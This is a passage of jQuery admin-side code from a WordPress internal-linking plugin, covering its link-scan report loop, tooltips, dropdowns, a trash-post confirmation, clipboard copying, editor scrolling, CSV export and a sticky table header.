    // also listen for when the user wants to resume an existing scan
    $('#wpil_report_reset_data_form .wpil-resume-link-scan').on('click', resumeReportData);

    /**
     * Keeps track of the loop's progress in a global context so the scan is less susceptible to minor errors like timeouts
     **/
    var globalScan = {
        'nonce': '', 						// nonce
        'loop': 0, 							// loop count
        'link_posts_to_process_count': 0, 	// posts/cats to process count
        'processed': 0, 					// how many have been processed so far
        'link_posts_to_process_diff': 0,	// the difference between the number of posts to process and the ones that have been processed
        'meta_filled': false, 				// if the meta processing is complete
        'links_filled': false,				// if the link processing is complete
        'error_count': 0,					// the number of times the scan has errored
        'loops_unchanged': 0				// the number of loops we've gone over without a change in the total number of processed posts
    };

    /**
     * Process runner that handles the report data generation process.
     * Loops around until all the site's links are inserted into the LW link table
     **/
    function processReportData(	nonce = null, 
                                loopCount = 0, 
                                linkPostsToProcessCount = 0, 
                                linkPostsProcessed = 0, 
                                linkPostProcessDiff = 0,
                                metaFilled = false, 
                                linksFilled = false,
                                loopsUnchanged = 0,
                                resumeScan = false)
    {
        if(!nonce){
            return;
        }

        // initialize the stage clock. // The clock is useful for debugging
        if(loopCount < 1){
            if(timeList.length > 0){
                var lastTime = timeList.pop();
                timeList = [lastTime];
            }else{
                timeList = [];
            }
        }

        jQuery.ajax({
            type: 'POST',
            url: ajaxurl,
            data: {
                action: 'process_report_data',
                nonce: nonce,
                loop_count: loopCount,
                link_posts_to_process_count: linkPostsToProcessCount,
                link_posts_processed: linkPostsProcessed,
                link_posts_to_process_diff: linkPostProcessDiff,
                meta_filled: metaFilled,
                links_filled: linksFilled,
                loops_unchanged: loopsUnchanged,
                resume_scan: (resumeScan) ? 1: 0 
            },
            error: function (jqXHR, textStatus, errorThrown) {
                console.log('There has been an error during the scan!');
                console.log(globalScan);
                globalScan.error_count += 1;

                // if the scan has errored less than 5 times, try it again
                if(globalScan.error_count < 5){
                    processReportData(
                        globalScan.nonce,
                        globalScan.loop,
                        globalScan.link_posts_to_process_count,
                        globalScan.processed,
                        globalScan.link_posts_to_process_diff,
                        globalScan.meta_filled,
                        globalScan.links_filled,
                        globalScan.loops_unchanged
                    );
                }else{
                    var resp = jqXHR.responseText;
                    if (wpil_handle_errors(resp)) {
                        wpil_report_next_step();
                        return;
                    }

                    var wrapper = document.createElement('div');
                    $(wrapper).append('<strong>' + textStatus + '</strong><br>');
                    $(wrapper).append(jqXHR.responseText);
                    wpil_swal({"title": "Error", "content": wrapper, "icon": "error"}).then(wpil_report_next_step());
                }
            },
            success: function(response){
                console.log(response);

                if(!isJSON(response)){
                    response = extractAndValidateJSON(response, [
                        'error', 
                        'links_to_process_count', 
                        'data_setup_complete', 
                        'loop_count', 
                        'loading_screen',
                        'processed',
                        'meta_filled',
                        'links_filled',
                        'error_count',
                        'loops_unchanged',
                        'processing_complete',
                        'nonce', 
                        'time']);
                }

                // if there was an error
                if(response.error){
                    // output the error message
                    wpil_swal(response.error.title, response.error.text, 'error');
                    // and exit
                    return;
                }

                // log the time
                timeList.push(response.time);

                // update the global stats
                globalScan.nonce = response.nonce;
                globalScan.loop = 0;
                globalScan.link_posts_to_process_count = response.link_posts_to_process_count;
                globalScan.processed = response.link_posts_processed;
                globalScan.link_posts_to_process_diff = response.link_posts_to_process_diff;
                globalScan.meta_filled = response.meta_filled;
                globalScan.links_filled = response.links_filled;
                globalScan.error_count = 0;
                globalScan.loops_unchanged = response.loops_unchanged;

                // if the meta has been successfully processed
                if(response.processing_complete){
                    // if the processing is complete
                    // console.log the time if available
                    if(timeList > 1){
                        console.log('The post processing took: ' + (timeList[(timeList.length - 1)] - timeList[0]) + ' seconds.');
                    }

                    // update the loading bar one more time
                    animateTheReportLoadingBar(response);

					// and show the user a success message!
					wpil_swal('Success!', 'The Link Scan is complete!', 'success').then(wpil_report_next_step);
					return;
				} else if(response.link_processing_complete){
					// if we've finished loading links into the link table
					// show the post processing loading page
					if(response.loading_screen){
						$('#wpbody-content').html(response.loading_screen);
					}

                    // console.log the time if available
                    if(timeList > 1){
                        console.log('The link processing took: ' + (timeList[(timeList.length - 1)] - timeList[0]) + ' seconds.');
                    }

                    // re-call the function for the final round of processing
                    processReportData(  response.nonce,
                        0,
                        response.link_posts_to_process_count,
                        0,
                        response.link_posts_to_process_diff,
                        response.meta_filled,
                        response.links_filled,
                        response.loops_unchanged);

                } else if(response.meta_filled){
                    // show the link processing loading screen
                    if(response.loading_screen){
                        $('#wpbody-content').html(response.loading_screen);
                    }
                    // console.log the time if available
                    if(timeList > 1){
                        console.log('The meta processing took: ' + (timeList[(timeList.length - 1)] - timeList[0]) + ' seconds.');
                    }

                    // update the loading bar
                    animateTheReportLoadingBar(response);

                    // and recall the function to begin the link processing (loading the site's links into the link table)
                    processReportData(  response.nonce,                         // nonce
                        0,                                      // loop count
                        response.link_posts_to_process_count,   // posts/cats to process count
                        0,                                      // how many have been processed so far
                        response.link_posts_to_process_diff,	// what's the difference between the posts processed and the ones coming up
                        response.meta_filled,                   // if the meta processing is complete
                        response.links_filled,					// if the link processing is complete
                        response.loops_unchanged);				// how many loops have we gone through without processing posts
                } else{
                    // update the loop count
                    globalScan.loop = (response.loop_count + 1);
                    // if we're not done processing, go around again
                    processReportData(  response.nonce, 
                                        (response.loop_count + 1), 
                                        response.link_posts_to_process_count, 
                                        response.link_posts_processed,
                                        response.link_posts_to_process_diff,
                                        response.meta_filled,
                                        response.links_filled,
                                        response.loops_unchanged);
                    
                    // if the meta has been processed
                    if(response.meta_filled){
                        // update the loading bar
                        animateTheReportLoadingBar(response);
                    }
                }
            }
        });
    }

    /**
     * Updates the loading bar length and the displayed completion status.
     * 
     * A possible improvement might be to progressively update the loading bar so its more interesting.
     * As it is now, the bar jumps every 60s, so it might be a bit dull and the user might wonder if it's working.
     **/
    function animateTheReportLoadingBar(response){
        // get the loading display
        var loadingDisplay = $('#wpbody-content .wpil-loading-screen');
        // create some variable to update the display with
        var percentCompleted = Math.floor((response.link_posts_processed/response.link_posts_to_process_count) * 100);
        var displayedStatus = percentCompleted + '%' + ((response.links_filled) ? (', ' + response.link_posts_processed + '/' + response.link_posts_to_process_count) : '') + ' ' + wpil_ajax.completed;

        // update the display with the new info
        loadingDisplay.find('.wpil-loading-status').text(displayedStatus);
        loadingDisplay.find('.progress_count').css({'width': percentCompleted + '%'});
    }

    /**
     * Runs Tippy and generates the standard tooltips for a page
     **/
    function runStandardTippy(){
        var toTip = $('.wpil-tippy-tooltipped');
        if(toTip.length < 1){
            return;
        }

        toTip.each(function(index, element){
            var el = $(element);
            if(el.data('wpilTooltipContent')){
                var args = {
                    content: el.data('wpilTooltipContent'),
                    onShow(instance){
                        var target = $(instance.reference);
                        if(target.attr('data-wpil-tooltip-theme') === 'delete-post'){
                            target.parents('span.delete').css({'display': 'inline-block', 'margin-right': '4px'});
                        }
                    }
                };

                if(el.data('wpilTooltipInteractive')){
                    args['interactive'] = true;
                }

                if(el.data('wpilTooltipAllowhtml')){
                    args['allowHTML'] = true;
                }

                if(el.data('wpilTooltipMaxwidth')){
                    args['maxWidth'] = parseInt(el.data('wpilTooltipMaxwidth'));
                }

                if(el.data('wpilTooltipTheme')){
                    args['theme'] = el.data('wpilTooltipTheme');
                }

                tippy(element, args);
            }
        });
    }

    $(document).on('click', '.wpil-collapsible', function (e) {
        if ($(this).hasClass('wpil-no-action') ||
            $(e.target).hasClass('wpil_word') || 
            $(e.target).hasClass('add-internal-links') ||
            $(e.target).hasClass('add-outbound-internal-links') ||
            $(e.target).hasClass('add_custom_link_button') ||
            $(e.target).hasClass('add_custom_link') || 
            $(e.target).parents('.add_custom_link').length || 
            $(this).find('.custom-link-wrapper').length > 0 || 
            $(this).find('.wp-editor-wrap').length > 0 ||
			$(e.target).hasClass('wpil-reload-sentence-with-anchor') ||
			$(e.target).hasClass('button-primary') ||
			$(e.target).hasClass('button-secondary')
        ) 
        {
            return;
        }

        // exit if the user clicked the "Add" button in the link report
        if($(e.srcElement).hasClass('add-internal-links') || $(e.srcElement).hasClass('add-outbound-internal-links')){
            return;
        }
        e.preventDefault();

        var $el = $(this);
        var $content = $el.closest('.wpil-collapsible-wrapper').find('.wpil-content');
        var cl_active = 'wpil-active';
        var wrapper = $el.parents('.wpil-collapsible-wrapper');

        if ($el.hasClass(cl_active)) {
            $el.removeClass(cl_active);
            wrapper.removeClass(cl_active);
            $content.hide();
        } else {
            // if this is the link report or target keyword report or autolink table or the domains table
            if($('.tbl-link-reports').length || $('#wpil_target_keyword_table').length || $('#wpil_keywords_table').length || $('#report_domains').length){
                // hide any open dropdowns in the same row
                $(this).closest('tr').find('td .wpil-collapsible').removeClass('wpil-active');
                $(this).closest('tr').find('td .wpil-collapsible-wrapper').removeClass('wpil-active');
                $(this).closest('tr').find('td .wpil-collapsible-wrapper').find('.wpil-content').hide();
            }
            $el.addClass(cl_active);
            wrapper.addClass(cl_active);
            $content.show();
        }
    });

    $(document).on('click', '#select_all', function () {
        if ($(this).prop('checked')) {
            if ($('.best_keywords').hasClass('outbound')) {
                $(this).closest('table').find('.sentence:visible input[type="checkbox"].chk-keywords:visible').prop('checked', true);
            } else {
                $(this).closest('table').find('input[type="checkbox"].chk-keywords:visible').prop('checked', true);
            }

            $('.suggestion-select-all').prop('checked', true);
        } else {
            $(this).closest('table').find('input[type="checkbox"].chk-keywords').prop('checked', false);
            $('.suggestion-select-all').prop('checked', false);
        }
    });

    $(document).on('click', '.best_keywords.outbound .wpil-collapsible-wrapper input[type="radio"]', function () {
        var id = $(this).data('id');
        var data = $(this).closest('li').find('.data').html();
        var type = $(this).data('type');
        var suggestion = $(this).data('suggestion');
        var origin = $(this).data('post-origin');
        var siteUrl = $(this).data('site-url');

        var additionalData = [
            'data-wpil-post-published-date="' + $(this).data('wpil-post-published-date') + '"',
            'data-wpil-suggestion-score="' + $(this).data('wpil-suggestion-score') + '"',
            'data-wpil-inbound-internal-links="' + $(this).data('wpil-inbound-internal-links') + '"',
            'data-wpil-outbound-internal-links="' + $(this).data('wpil-outbound-internal-links') + '"',
            'data-wpil-outbound-external-links="' + $(this).data('wpil-outbound-external-links') + '"',
        ];

        $(this).closest('ul').find('input').prop('checked', false);

        $(this).prop('checked', true);
        $(this).closest('tr').find('input[type="checkbox"]').prop('checked', false);
        $(this).closest('tr').find('input[type="checkbox"]').val(suggestion + ',' + id);

        if (!$(this).closest('tr').find('input[data-wpil-custom-anchor]').length && $(this).closest('tr').find('.sentence[data-id="'+id+'"][data-type="'+type+'"]').length) {
            $(this).closest('tr').find('.sentences > div').hide();
            $(this).closest('tr').find('.sentence[data-id="'+id+'"][data-type="'+type+'"]').show();
        }
    });

    /**
     * Asks the user if they want to consign a post to the trash when they click the "Trash Post" button
     **/
    $(document).on('click', '.wpil-trash-post-link', function (e) {
        e.preventDefault();

        var rowItem = $(this),
            trashLink = rowItem.attr('href');

        if(trashLink.length < 1){
            return;
        }

        if ((wpil_ajax.dismissed_popups && wpil_ajax.dismissed_popups['link_report_trash_post'] !== 1)) {
            var popupWrapper = document.createElement('div');
            $(popupWrapper).append('Please confirm that you want to put this page in the trash. This will remove the page from your site and put it in the trash, not just remove it from the report. <br><br> <input type="checkbox" id="wpil-perma-dismiss-popup" data-wpil-popup-name="link_report_trash_post"><span style="font-size: 12px;">(Don\'t show this again)</span>');
            wpil_swal({
                'title': 'Notice:', 
                content: popupWrapper, 
                'icon': 'info',
                buttons: {
                    cancel: true,
                    confirm: true,
                }
            }).then((trash) => {
                if (trash) {
                    rowItem.closest('tr').css({'opacity': 0.4});
                    $.post(trashLink, function(){
                        rowItem.closest('tr').fadeOut(300);
                    });
                }

                var checkbox = $('#wpil-perma-dismiss-popup');
                if(checkbox.is(':checked') && wpil_ajax.dismiss_popup_nonce){
                    $.ajax({
                        type: 'POST',
                        url: ajaxurl,
                        data: {
                            action: 'wpil_dismiss_popup_notice',
                            popup_name: checkbox.data('wpil-popup-name'),
                            nonce: wpil_ajax.dismiss_popup_nonce,
                        },
                        complete: function (data) {
                            console.log('ignoring complete!');
                            wpil_ajax.dismissed_popups['link_report_trash_post'] = 1;
                        }
                    })
                }
            });
        }else{
            rowItem.closest('tr').css({'opacity': 0.4});
            $.post(trashLink, function(){
                rowItem.closest('tr').fadeOut(300);
            });
        }
    });

	$(document).ready(function(){
		var saving = false;
        runStandardTippy();

		$(document).on('click', '#select_all', function () {
			if ($(this).prop('checked')) {
				$(this).closest('table').find('input[type="checkbox"]').prop('checked', true);
			} else {
				$(this).closest('table').find('input[type="checkbox"]').prop('checked', false);
			}
		});

		$(document).on('click', '.best_keywords .wpil-collapsible-wrapper input[type="radio"]', function(){
			var data = $(this).closest('li').find('.data').html();
			var id = $(this).data('id');
			var type = $(this).data('type');
			var suggestion = $(this).data('suggestion');
			$(this).closest('ul').find('input').prop('checked', false);

			$(this).prop('checked', true);
			$(this).closest('.wpil-collapsible-wrapper').find('.wpil-collapsible-static').html('<div data-id="' + id + '" data-type="' + type + '">' + data + '</div>');
			$(this).closest('tr').find('input[type="checkbox"]').prop('checked', false);
			$(this).closest('tr').find('input[type="checkbox"]').val(suggestion + ',' + id);

			if (!$(this).closest('tr').find('input[data-wpil-custom-anchor]').length && $(this).closest('tr').find('.sentence[data-id="'+id+'"][data-type="'+type+'"]').length) {
				$(this).closest('tr').find('.sentences > div').hide();
				$(this).closest('tr').find('.sentence[data-id="'+id+'"][data-type="'+type+'"]').show();
			}
		});

		$(document).on('click', '.link_copy', function(){
			$(this).blur();
			var row = $(this).closest('tr');
			var link = row.find('.post-slug:first').attr('href');


			copyTextToClipboard(link);

			// if Classic or Gutenberg are visible, show the success panel that allows scrolling to the text
			if( $('#wp-content-wrap:visible').length || (wp.blockEditor && $('.block-editor-block-list__layout.is-root-container:visible').length) ){
				wpil_swal({
					title: 'Success!',
					text: 'Link copied successfully!',
					icon: 'success',
					buttons: ['OK', 'Scroll To Text'],
				}).then((scroll) => {
					if (scroll) {
						focusTextSelection(row);
					}
				});
			}else{
				// if the standard editors aren't available, show the old popup
				wpil_swal({
					title: 'Success!',
					text: 'Link copied successfully!',
					icon: 'success',
				});
			}
		});

		function fallbackCopyTextToClipboard(text) {
			var textArea = document.createElement("textarea");
			textArea.value = text;
			document.body.appendChild(textArea);
			textArea.focus();
			textArea.select();

			try {
				var successful = document.execCommand('copy');
				var msg = successful ? 'successful' : 'unsuccessful';
				console.log('Fallback: Copying text command was ' + msg);
			} catch (err) {
				console.error('Fallback: Oops, unable to copy', err);
			}

			document.body.removeChild(textArea);
		}

		function copyTextToClipboard(text) {
			if (!navigator.clipboard) {
				fallbackCopyTextToClipboard(text);
				return;
			}
			navigator.clipboard.writeText(text).then(function() {
				console.log('Async: Copying to clipboard was successful!');
			}, function(err) {
				console.error('Async: Could not copy text: ', err);
			});
		}

		function focusTextSelection(row){
			// get the sentence
			var sentence = decodeURIComponent(atob($(row.find('input[name="sentence"]')[0]).val()));

			// get the anchor text
			var anchorText = row.find('.sentence a').filter(':visible').text();

			// deselect any active selections
			$('#wpil-free-highlight').contents().unwrap();

			if($('#wp-content-wrap').length){ // Classic
				var tinyMCEVisible = $("#wp-content-wrap").hasClass("tmce-active");

				if(tinyMCEVisible){
					var element = $("#content_ifr").contents().find('*:contains("' + sentence + '"):last');

					// if we have the element that contains the sentence
					if(element.length){
						// obtain the element's inner html
						var elementContent = $(element[0]).html().toString();
						// create a new sentence that focuses on the anchor
						var newSentence = sentence.replace(anchorText, '<wpil-free-highlight id="wpil-free-highlight">' + anchorText + '</wpil-free-highlight>');
						// replace the old sentence with the new one
						elementContent = elementContent.replace(sentence, newSentence);
						// update the element's html with the new tags
						$(element[0]).html(elementContent);
						var newElement = $(element).find('#wpil-free-highlight').get();
						newElement = newElement[0];
						// remove the custom tags to create a text node with no tags
						$(newElement).contents().unwrap();
						// find the new text node
						$(element).contents().each(function(index, node){
							if($(node).text() === anchorText){
								SelectText(node);
								scrollVisualModeToStartElement(window.tinymce.get( 'content' ), element);
								$("#content_ifr").focus();
							}
						});
					}
					
				}else{
					var element = $("#wp-content-editor-container textarea.wp-editor-area");

					if(element.length){
						var start = $(element[0]).text().indexOf(anchorText, $(element[0]).text().indexOf(sentence));
						element[0].setSelectionRange(start, start + anchorText.length);
						element[0].focus();
					}
				}

			}else if(wp.blockEditor && $('.block-editor-block-list__layout.is-root-container').length){ // Gutenberg
				var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
				var element = $(".block-editor-block-list__layout.is-root-container").contents().find('*:contains("' + sentence + '"):last');
				var found = false;

				// if we couldn't find the block with the first check
				if(element.length < 1){
					// go over the elements a different way to try and find the block
					$(".block-editor-block-list__layout.is-root-container").contents().each(function(index, block){
							var sentenceCheck = $(block).html().toString().indexOf(sentence);
							if(!found && sentenceCheck !== -1){
								element = $(block);
								found = true;
							}
						}
					);
				}
				
				// if we have the element that contains the sentence
				if(element.length){
					// remove any pre-existing highlights
					$('#wpil-free-highlight').contents().unwrap();
					// obtain the element's inner html
					var elementContent = $(element[0]).html().toString();
					// create a new sentence that focuses on the anchor
					var newSentence = sentence.replace(anchorText, '<wpil-free-highlight id="wpil-free-highlight">' + anchorText + '</wpil-free-highlight>');
					// replace the old sentence with the new one
					elementContent = elementContent.replace(sentence, newSentence);
					// update the element's html with the new tags
					$(element[0]).html(elementContent);
					// select the new element
					var newElement = $(element).find('#wpil-free-highlight').get();
					// establish the point that we'll be scrolling to
					var scrollPoint = $('.edit-post-visual-editor').offset().top - $(newElement[0]).offset().top;
					scrollPoint = scrollPoint - 61 + (windowHeight / 2);
					// scroll to the point
					$('.interface-interface-skeleton__content').animate( {
						scrollTop: Math.abs(parseInt(scrollPoint))
					}, 1000 );
				}
			}
		}

		function SelectText(element) {
			var frame = document.getElementById("content_ifr"), 
				win = (frame) ? frame.contentWindow : window,
				doc = (frame) ? frame.contentWindow.document : document,
				range, 
				selection;    
			if (doc.body.createTextRange) {
				range = doc.body.createTextRange();
				range.moveToElementText(element);
				range.select();
			} else if (win.getSelection) {
				selection = win.getSelection();        
				range = doc.createRange();
				range.selectNodeContents(element);
				selection.removeAllRanges();
				selection.addRange(range);
			}
		}

		/**
		 * Scrolls the content to place the selected element in the center of the screen.
		 *
		 * Takes an element, that is usually the selection start element, selected in
		 * `focusHTMLBookmarkInVisualEditor()` and scrolls the screen so the element appears roughly
		 * in the middle of the screen.
		 *
		 * In order to achieve the proper positioning, the editor media bar and toolbar are subtracted
		 * from the window height, to get the proper viewport window, that the user sees.
		 *
		 * @param {Object} editor TinyMCE editor instance.
		 * @param {Object} element HTMLElement that should be scrolled into view.
		 */
		 function scrollVisualModeToStartElement( editor, element ) {
			var elementTop = editor.$( element ).offset().top,
				TinyMCEContentAreaTop = editor.$( editor.getContentAreaContainer() ).offset().top,

				toolbarHeight = getToolbarHeight( editor ),

				edTools = $( '#wp-content-editor-tools' ),
				edToolsHeight = 0,
				edToolsOffsetTop = 0,

				$scrollArea;

			if ( edTools.length ) {
				edToolsHeight = edTools.height();
				edToolsOffsetTop = edTools.offset().top;
			}

			var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight,

				selectionPosition = TinyMCEContentAreaTop + elementTop,
				visibleAreaHeight = windowHeight - ( edToolsHeight + toolbarHeight );

			// There's no need to scroll if the selection is inside the visible area.
			if ( selectionPosition < visibleAreaHeight ) {
//				return;
			}

			/**
			 * The minimum scroll height should be to the top of the editor, to offer a consistent
			 * experience.
			 *
			 * In order to find the top of the editor, we calculate the offset of `#wp-content-editor-tools` and
			 * subtracting the height. This gives the scroll position where the top of the editor tools aligns with
			 * the top of the viewport (under the Master Bar)
			 */
			var adjustedScroll;
			if ( editor.settings.wp_autoresize_on) {
				$scrollArea = $( 'html,body' );
				adjustedScroll = selectionPosition - visibleAreaHeight / 2; //Math.max( selectionPosition - visibleAreaHeight / 2, edToolsOffsetTop - edToolsHeight );
			} else {
				$scrollArea = $( editor.contentDocument ).find( 'html,body' );
				adjustedScroll = elementTop;
			}

			$scrollArea.animate( {
				scrollTop: parseInt( adjustedScroll, 10 )
			}, 1000 );
		}

		/**
		 * Returns the height of the editor toolbar(s) in px.
		 *
		 * @since 3.9.0
		 *
		 * @param {Object} editor The TinyMCE editor.
		 * @return {number} If the height is between 10 and 200 return the height,
		 * else return 30.
		 */
		 function getToolbarHeight( editor ) {
		 	var $$ = window.tinymce.$;
			var node = $$( '.mce-toolbar-grp', editor.getContainer() )[0],
				height = node && node.clientHeight;

			if ( height && height > 10 && height < 200 ) {
				return parseInt( height, 10 );
			}

			return 30;
		}

		// remove any highlighted text on post save
		$(document).on('click', '.editor-post-publish-button, #wpil-free-highlight', function(){
			$('#wpil-free-highlight').contents().unwrap();
		});

		$(window).on('load', function(){
			if ($('#lw_banner').length) {
				// if the user has clicked on the "close" button on the "Upgrade to Premium" CTA in the Report screen
				$('#lw_banner .close').click(function(){
					// make an ajax call to permanently hide the CTA
					$.ajax({
						type: 'POST',
						url: wpil_ajax.ajax_url,
						data: {
							action: 'dismiss_premium_notice',
						},
						success: function(response){
							console.log(response);
							$('#lw_banner').remove();
						},
					});
				});
			}
		});
	});

    var mouseExit;
    $(document).on('mouseover', '.wpil_help i, .wpil_help div', function(){
        clearTimeout(mouseExit);
        $('.wpil_help div').hide();
        $(this).parent().children('div').show();
    });

    $(document).on('mouseout', '.wpil_help i, .wpil_help div', function(){
        var element = this;
        mouseExit = setTimeout(function(){
            $(element).parent().children('div').hide();
        }, 250);
        
    });

    $(document).on('click', '.csv_button', function(){
        if($(this).hasClass('file-downloadable')){
            return;
        }

        $(this).addClass('wpil_button_is_active');
        var type = $(this).data('type');
        var data = null;
        if(type === 'error'){ data = $(this).data('codes'); }
        wpil_csv_request(type, 1, data);
    });

    function wpil_csv_request(type, count, data = null, id = 0) {
        $.post(ajaxurl, {
            count: count,
            type: type,
            action: 'wpil_csv_export',
            export_data: data,
            id: id
        }, function (response) {
            if(!isJSON(response)){
                response = extractAndValidateJSON(response, ['error', 'filename', 'fileExists', 'type', 'count', 'id']);
            }

            if (response.error) {
                wpil_swal(response.error.title, response.error.text, 'error');
            } else {
                console.log(response);
                if (response.filename) {
                    if(undefined !== response.fileExists && !response.fileExists){
                        wpil_swal('File Not Creatable', 'Unfortunately, it wasn\'t possible to create the export file. It is most likely caused by server settings preventing Link Whisper from writing in it\'s current directory', 'error');
                        $('#wpil_report_reset_data_form .csv_button').removeClass('wpil_button_is_active');
                        return;
                    }

                    // get the current button and remove the loading from it
                    var currentButton = $('.csv_button[data-type="'+type+'"]');
                    currentButton.removeClass('wpil_button_is_active');

                    // create our download link and try downloading the file
                    var link = document.createElement('a');
                    link.href = response.filename;
                    link.download = currentButton.data('file-name');
                    document.body.appendChild(link);
                    link.click();
                    document.body.removeChild(link);

                    // as a backup, convert the csv button the user clicked into a download button
                    currentButton.addClass('file-downloadable');
                    var text = 'Download ' + currentButton.first().text();
                    currentButton.text(text);
                    currentButton.attr('download', currentButton.data('file-name'));
                    currentButton.attr('href', response.filename);

//					location.href = response.filename;
                } else {
                    wpil_csv_request(response.type, ++response.count, data, response.id);
                }
            }
        });
    }

    $(document).on('click', '.return_to_report', function(e){
        e.preventDefault();

        // if a link is specified
        if(undefined !== this.href){
            // parse the url
            var params = parseURLParams(this.href);
            // if the url is back to an edit page
            if(	undefined !== typeof params &&
                ( (undefined !== params.action && undefined !== params.post && 'edit' === params.action[0]) || params.direct_return || true) // NOTE: if we make it to 2.2.8 without issues, make the checks a little neater. I'm seeing about doing away with the JS report redirect thing to save some system resources for customers.
            ){
                if(params.ret_url && params.ret_url[0]){
                    var link = atob(decodeURI(params.ret_url[0]));
                }else{
                    var link = this.href;
                }

                // redirect back to the page
                location.href = link;
                return;
            }
        }
    });

    /** Showing processing errors **/
    var processingError;
    // sets up a notice that will display if it's not cleared
    function setupProcessingError(clear = false){
        clearTimeout(processingError);
        if(!clear){
            processingError = setTimeout(function(){
                $('.wpil-process-loading-error-message').css({'display': 'inline-block'});
            }, 180 * 1000); // the max processing time for a LW process _should_ be 90 seconds, but this allows more breathing room
        }
    }

    // hides the error message in case it's showing
    function hideProcessingError(){
        $('.wpil-process-loading-error-message').css({'display': 'none'});
    }
    /** /Showing processing errors **/

    /** Sticky Header **/
    // Makes the thead sticky to the top of the screen when scrolled down far enough
    if($('.wpil_styles .wp-list-table:not(.sticky-ignore)').length){
        var theadTop = $('.wpil_styles .wp-list-table:not(.sticky-ignore)').offset().top;
        var adminBarHeight = parseInt(document.getElementById('wpadminbar').offsetHeight);
        var scrollLine = (theadTop - adminBarHeight);
        var sticky = false;

        // duplicate the footer and insert in the table head
        $('.wpil_styles .wp-list-table:not(.sticky-ignore) tfoot tr').clone().addClass('wpil-sticky-header').css({'display': 'none', 'top': adminBarHeight + 'px'}).appendTo('.wp-list-table thead');

        // resizes the header elements
        function sizeHeaderElements(){
            // get the width of the normal header
            var headerWidth = $('.wpil_styles .wp-list-table:not(.sticky-ignore) thead tr').width();

            // adjust for any change in the admin bar
            adminBarHeight = parseInt(document.getElementById('wpadminbar').offsetHeight);
            $('.wpil-sticky-header').css({'top': adminBarHeight + 'px', 'width': headerWidth});

            // adjust the size of the header columns
            var elements = $('.wpil-sticky-header').find('th');
            $('.wpil_styles .wp-list-table:not(.sticky-ignore) thead tr').not('.wpil-sticky-header').find('th').each(function(index, element){
                //var width = getComputedStyle(element).width;
                var width = $(element).get(0).scrollWidth - (parseInt(getComputedStyle(element).paddingLeft) + parseInt(getComputedStyle(element).paddingRight));
                $(elements[index]).attr('style', 'width:' + width + "px !important;");
            });
        }
        sizeHeaderElements();

        function resetScrollLinePositions(){
            if($('.wpil_styles .wp-list-table:not(.sticky-ignore)').length < 1){
                return;
            }
            theadTop = $('.wpil_styles .wp-list-table:not(.sticky-ignore)').offset().top;
            adminBarHeight = parseInt(document.getElementById('wpadminbar').offsetHeight);
            scrollLine = (theadTop - adminBarHeight);
        }

        $(window).on('scroll', function(e){
            var scroll = parseInt(document.documentElement.scrollTop);

            // if we've passed the scroll line and the head is not sticky
            if(scroll > scrollLine && !sticky){
                // sticky the header
                $('.wpil-sticky-header').css({'display': 'table-row'});
                sticky = true;
            }else if(scroll < scrollLine && sticky){
                // if we're above the scroll line and the header is sticky, unsticky it
                $('.wpil-sticky-header').css({'display': 'none'});
                sticky = false;
            }
        });

        var wait;
        $(window).on('resize', function(){
            clearTimeout(wait);
            setTimeout(function(){ 
                sizeHeaderElements(); 
                resetScrollLinePositions();
            }, 150);
        });

        setTimeout(function(){ 
            resetScrollLinePositions();
        }, 1500);
    }
    /** /Sticky Header **/

    /** General Items **/
    $(document).on('keyup', '.wpil_styles #current-page-selector', maybeChangePage);
    function maybeChangePage(e){
        if(!e || !e.target || e.keyCode !== 13){
            return;
        }

        // if the selector isn't in a form
        if($(e.target).parents('form').length < 1){
            // manually perform the page updating
            var page = parseInt($(e.target).val());

            if(page > 1){
                if(-1 !== window.location.href.indexOf('paged')){
                    window.location.href = window.location.href.replace(/paged=([0-9]*)/, 'paged=' + page);
                }else{
                    window.location.href += '&paged=' + page;
                }
            }else if(-1 !== window.location.href.indexOf('paged')){
                window.location.href = window.location.href.replace(/paged=([0-9]*)/, '');
            }
        }
    }
    /** /General Items */
	/** Lazyload the dropdowns */
    $(document).on('click', 'td .wpil-collapsible-wrapper', maybeAjaxDownloadData);

	/**
     * Checks to see if the clicked dropdown has all of its data.
     * If the dropdown doesn't, this downloads the remaining data and adds it to the dropdown
     **/
    var globalDownloadTracker = [];
    function maybeAjaxDownloadData(e){
        var wrap = $(e.target).parents('td').find('.wpil-collapsible-wrapper'),
            count = parseInt(wrap.find('.wpil-links-count .wpil_ul').text()),
            current = wrap.find('.report_links li').length,
            type = wrap.find('.wpil-collapsible').data('wpil-report-type'),
            postId = wrap.data('wpil-report-post-id'),
            postType = wrap.data('wpil-report-post-type'),
            nonce = wrap.data('wpil-collapsible-nonce'),
            processId = postId + '_' + postType;

        // first check if there's all the data
        if(count <= current){
            // if there is, exit
            return;
        }

        // also make sure there isn't a download for the data already running
        if(undefined !== this && -1 !== globalDownloadTracker.indexOf(processId)){
            // if there is, exit
            return;
        }

        if(-1 === globalDownloadTracker.indexOf(processId)){
            globalDownloadTracker.push(processId);
        }

        // start calling for the remaining links
        $.ajax({
			type: 'POST',
			url: ajaxurl,
			data: {
				action: 'get_link_report_dropdown_data',
                dropdown_type: type,
                post_id: postId,
                post_type: postType,
                nonce: nonce,
                item_count: current,
			},
			success: function(response){
                // if there was an error
                if(response.error){
                    // output the error message
                    wpil_swal(response.error.title, response.error.text, 'error');
                    // and exit
                    return;
                }

                // if there was a notice
                if(response.info){
                    // output the notice message
                    wpil_swal(response.info.title, response.info.text, 'info');
                    // and exit
                    return;
                }

                // 
                if(response.success){
                    // 
                    if(undefined !== response.success.item_data && '' !== response.success.item_data){
                        wrap.find('.report_links').append(response.success.item_data);
                    }

                    if(undefined !== response.success.item_count && response.success.item_count > 0){
                        // go for another trip!
                        maybeAjaxDownloadData(e);
                    }
                    // and exit
                    return;
                }
			},
            error: function(jqXHR, textStatus, errorThrown){
                console.log({jqXHR, textStatus, errorThrown});
            }
		});
    }


	/** /Lazyload the dropdowns */

    /** Ajax saving for Screen Options **/
    var savingScreenOptions = false;
    $(document).on('submit', '#adv-settings', ajaxSaveScreenOptions);
    function ajaxSaveScreenOptions(e){
        // exit if this is not a Link Whisper page
        if($('body').find('.wpil_styles').length < 1 || savingScreenOptions){
            return;
        }
        // stop the form submit
        e.preventDefault();

        // get the form
        var form = $(this);

        // get the values from the screen options
        var saveOptions = {};

        $(this).find('input').each(function(index, element){
            if(!element.id){
                return;
            }

            var el = $(element);
            if(el.attr('type') === 'checkbox'){
